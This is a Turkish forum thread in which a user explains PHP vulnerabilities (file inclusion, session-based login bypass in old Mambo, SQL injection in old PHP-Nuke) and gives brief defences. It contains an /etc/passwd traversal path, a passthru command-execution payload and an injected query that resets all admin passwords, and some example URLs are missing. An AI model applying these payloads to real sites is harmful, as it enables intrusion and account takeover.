Uyarı!  Sitemize Üye Olmak İsteyenler Hakkında:

==========================================================

Görülen lüzum üzerine yönetici onaylı üyelik sistemine geçilmiştir. Yapmanız gereken formumuza üye olduktan sonra kullanıcı adınızı üye olurken kullanmış olduğunuz mail hesabından kral@bilgineferi.com adresine gönderip üyeliğinizin aktif edilmesini talep etmektir.

Not: Yukarıdaki işlemi gerçekleştirmeyen üyelerin üyelikleri kabul edilmeyecektir.

Bilgineferi.com üyesi değilseniz forumlarımıza mesaj yazabilmek için kayıt olmanız gerekmektedir. İsterseniz bilgi içerikli forumlarımızı misafir olarak ta gezebilirsiniz.

==========================================================

Reklam Alanı: | Master Sistem (Tek Anahtar Bütün Kilitleri Açar)  | Otel Kilitleri  |  Kartlı Kilit Sistemleri | Duşakabin  | Kale Çelik  Kapı Kasa Kilit Yetkili Servis/Bayi | Kartlı Otel Kilit Sistemleri
   
Sitemize Reklam vermek ister misiniz ?  
Site Tanıtımı Yap Kapat

     Ana Sayfa     Şarkı Sözleri     Radyo & TV     Yeni Mesajlar     Üye Listesi     Arama            Üye Ol     Giriş

 

Bilgi Neferi Formuna Hoş geldiniz...

Reklam Alanı

  Konuyu Görüntülemek İçin TıklayınSes Aygıtı Devre Dışı - Kab ...    Konuyu Görüntülemek İçin TıklayınMaalesef Bu Video Oynatıla ...    Konuyu Görüntülemek İçin TıklayınBilgisayara takılan Usb Fl ...    Konuyu Görüntülemek İçin TıklayınŞirketler için özel olarak  ...    Konuyu Görüntülemek İçin TıklayınSensible World of Soccer 96 ...    Konuyu Görüntülemek İçin TıklayınDeskGate Firma ve Kurumlara ...    Konuyu Görüntülemek İçin TıklayınBeton Vibratörü    Konuyu Görüntülemek İçin Tıklayıninşaat malzemeleri - Sıfır, ...    Konuyu Görüntülemek İçin TıklayınTürksat Otomatik Kanal Tara ...    Konuyu Görüntülemek İçin Tıklayınok.ru video (dizi - film) i ...    

Güvenlik / Security Makaleleri
 Bilgineferi.com :Bilgisayar Güvenliği / Computer Security :Güvenlik / Security Makaleleri
Mesaj icon Konu: PHP'de muhtemel güvenlik açıkları ve Korunma yolları Yanıt Yaz Yeni Konu Gönder
  Bu konuyu paylaş  
Translate
Yazar Mesaj
megabros  
Security Professional
Security Professional
Simge
Üye Bilgileri

Kayıt Tarihi: 08-06-2009
Üye Numarası : 4490
Konum: Turkey
Mesajlar: 747
Rep Puan
Rep: 346


Alıntı megabros Cevaplabullet Konu: PHP'de muhtemel güvenlik açıkları ve Korunma yolları
    Gönderim Zamanı: 08-04-2010 Saat 00:32

PHP şuanda dünyada en çok kullanılan web programlama dillerinden biri.Her geçen gün yeni php scriptler yazılıyor programcılar sürekli kendini geliştirmeye çalışıyor ve web siteleri daha fazla php ile içiçe girmeye başlıyor.Bu yazıda PHP kodları yazılırken gözden kaçan şeylerden nasıl bir web sitesine istediğimiz yapabileceğimizi ve bunlardan nasıl korunacağımızı anlatacağım.Başlayalım;

Fonksiyonları Kullanma:


PHP fonksiyonlarının bir çoğu esnek ve bir okadar erişime açıktır.Mesela include(), require() ve fopen() fonsiyonları yerel host üzerindeki dosyaları kabul eder.Bunlarda yapılan yanlış yapılandırma gibi hataları kullanarak uzaktan neler yapabileceğimizi görelim;

 

diye bir sayfamız olsun burada $i açıkça dosyayı içerdiğini görüyoruz peki böyle bir sayfa gördüğümüzde ilk olarak ne düşünürüz

-programcı i=../../../etc/passwd? gibi bir yol yapmışmıdır
-.html uzantısını kontrol etmişmidir
-fopen() fonskiyonunu kullanmışmıdır
-uzaktan yapılan istekleri engellemişmidir

eğer hepsi bizim işimize göre negatifse şöyle birşey yapabiliriz

 

burada x sayfasının içine şu tip kodları koyarak dahada olayı geliştirebiliriz

<?php

passthru
('id'
);
passthru ('ls -al /etc'
);
passthru ('ping -c 1 e-hack.org'
);
passthru ('echo Admin el salla | mail root'
);
?>

ve bu size bağlı olarak geliştirilebilir.Sanırım burada yapılacaklar sınırsız.

Genel Açıklar:
Her PHP programcısı mutlaka gözden birşeyleri kaçırır çünkü PHP çok geniş ve mükemmel kodlanması neredeyse imkansız çünkü mükemmel kodlansa bile PHP den doğan yeni açıklar bulunarak mükemmellik kırılabilinir.Burada Environment, GET, POST, Cookie ve Server değişkenlerini Genel Açıklar içine dahil edebiliriz.

Mesela eski bir mambo sürümdeki genel açığı inceliyelim;
Bu sürümde admin/ klasörünün altındaki index.php form yollandıktan sonra şifreyi database deki ile karşılaştırıyor.

<?php

if ($dbpass == $pass
) {
session_register("myname"
);
session_register("fullname"
);
session_register("userid"
);
header("Location: index2.php"
);
}
?>

eğer şifre doğruysa $myname, $fullname ve $userid kaydedilir ve kullanıcı index2.php ye gönderilir.

<?php

if (!$PHPSESSID
) {
header("Location: index.php"
);
exit(
0
);
} else {
session_start
();
if (!
$myname) session_register("myname"
);
if (!
$fullname) session_register("fullname"
);
if (!
$userid) session_register("userid"
);
}
?>

burada eğer session ID ayarlanmamışsa kullanıcı tekrar login ekranına geri gönderilir fakat ayarlanmışsa script işleme devam eder ve bir önceki ayarlarla kullanıcı giriş yapar.Şimdi biz bunu nasıl sömüreceğiz bunu inceliyelim; 

gibi bir URL miz olduğunu düşünün.Burada $PHPSESID değişkeni ayarlı ve bu değişkende diğer 3 değişkenin doğrulanmasını sağlıyor.Ve burada yapılan sorgu işleminin yanlışlığından istediğimiz gibi giriş yapmamıza olanak veriyor.

SQL yapılandırma hataları:


SQL süz bir php düşünemeyiz.Fakat kontrol edilmemiş SQL sorgu değişkenleri çok büyük tehlikeleri birlikte getirmekte şöyleki;

Gene eski bir PHP-Nuke script versiyonunu inceliyelim.Bu versiyonda yapımcılar tüm tabloların başına "nuke" önekini koymuşlar sanıyorum bunu diğer scriptlerden farklı olduklarını göstermek için yapmışlar.Buradaki her $prefix = "nuke"; tanımlaması config.php içinde yapılır.

Şimdi article.php yi inceliyelim;


<?php

if (!isset($mainfile
)) {
include(
"mainfile.php"
);
}
if (!isset(
$sid) && !isset($tid
)) {
exit();
}
?>

ve biraz aşağıda SQL sorgusu

<?php

mysql_query
("UPDATE $prefix"._stories
.
" SET counter=counter+1 where sid=$sid"
);
?>

SQL sorgusunu değiştirmek için $prefix in ana değerinde olmamalı bu sayede biz herhangi bir değer vererek GET parametrelerini kullanabileceğiz.config.php mainfile.php yi içermekte biz biliyoruzki $mainfile, $sid ve $tid herhangi bir değişken atıyarak GET parametrelerini kullanabiliriz.Bunu yapınca script mainfile.php ve $prefix içerdiğini ve buna göre ayarlandığını düşünecektir (.

 

bunun açılımı

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid" );

şeklinde olacaktır yani bir sonraki sorguda tüm admin şifreleri "1" olarak ayarlandı.

Güvenlik:

-İlk olarak dışardan yapılacak müdahalelere karşı dikkatli olmalısınız.Biri sizin scriptinizdeki cookie denetimlerini veya herhangi java script uygulamalarıyla yaptığınız kodlamaları kullanabilir.
-Tüm dış değişkenler doğrulanmalıdır.Mesela bir database tablosunu es geçerseniz bir sonraki satırdaki GET parametrelerinde hile yapılmasına olanak sağlarsınız.


-Hata kayıtlarında dikkatli olmalısınız.En iyi yöntem olarak error_log() fonksiyonunu kullanabilirsiniz.Eğer biri sizin scriptinizle oynamaya başladığında bu şekilde bu kayıtları bir yerde toplayabilir veya kendinize mail olarak gönderebilirsiniz.
 
Saygılar.

 



Düzenleyen megabros - 08-04-2010 Saat 00:32
IP Artı rep ver Eksi rep ver
wolf  
Üye
Üye
Simge
Üye Bilgileri

Kayıt Tarihi: 30-07-2009
Üye Numarası : 5027
Mesajlar: 0
Rep Puan
Rep: 77


Alıntı wolf Cevaplabullet Gönderim Zamanı: 10-04-2010 Saat 00:10
Öncelikle makale için teşekkürler ama yazıda kopukluklar var. Mesela;

diye bir sayfamız olsun
demişsiniz ama orada birşey yok. Bu tarz kopukluklar var yazıda o yüzden anlayamadım.
IP Artı rep ver Eksi rep ver
megabros  
Security Professional
Security Professional
Simge
Üye Bilgileri

Kayıt Tarihi: 08-06-2009
Üye Numarası : 4490
Konum: Turkey
Mesajlar: 747
Rep Puan
Rep: 346


Alıntı megabros Cevaplabullet Gönderim Zamanı: 10-04-2010 Saat 08:07
Orjinalini yazan: wolf

Öncelikle makale için teşekkürler ama yazıda kopukluklar var. Mesela;

diye bir sayfamız olsun
demişsiniz ama orada birşey yok. Bu tarz kopukluklar var yazıda o yüzden anlayamadım.
 
Belirtilmeyen sayfalar PHP Code şeklinde belirtilen Codeler ile bağlantılıdır.Sayfalar belirtilmemiştir çünki verilen URL'lerin kullanılması için verilen bağlantınında güvenlik açısından sanal olmaması gerekmektedir.
 
Saygılar.
IP Artı rep ver Eksi rep ver
Yanıt Yaz Yeni Konu Gönder
Konuyu Yazdır Konuyu Yazdır

Forum Atla
Kapalı Foruma Yeni Konu Gönderme
Kapalı Forumdaki Konulara Cevap Yazma
Kapalı Forumda Cevapları Silme
Kapalı Forumdaki Cevapları Düzenleme
Kapalı Forumda Anket Açma
Açık Forumda Anketlerde Oy Kullanma
Bilgi için


| ReklamKale Kapı | Radyo & TV  |  

Bize Yazın - Bilgineferi.com- Başa Dön

Bilgineferi.com



Bu Sayfa 0.203 Saniyede Yüklendi.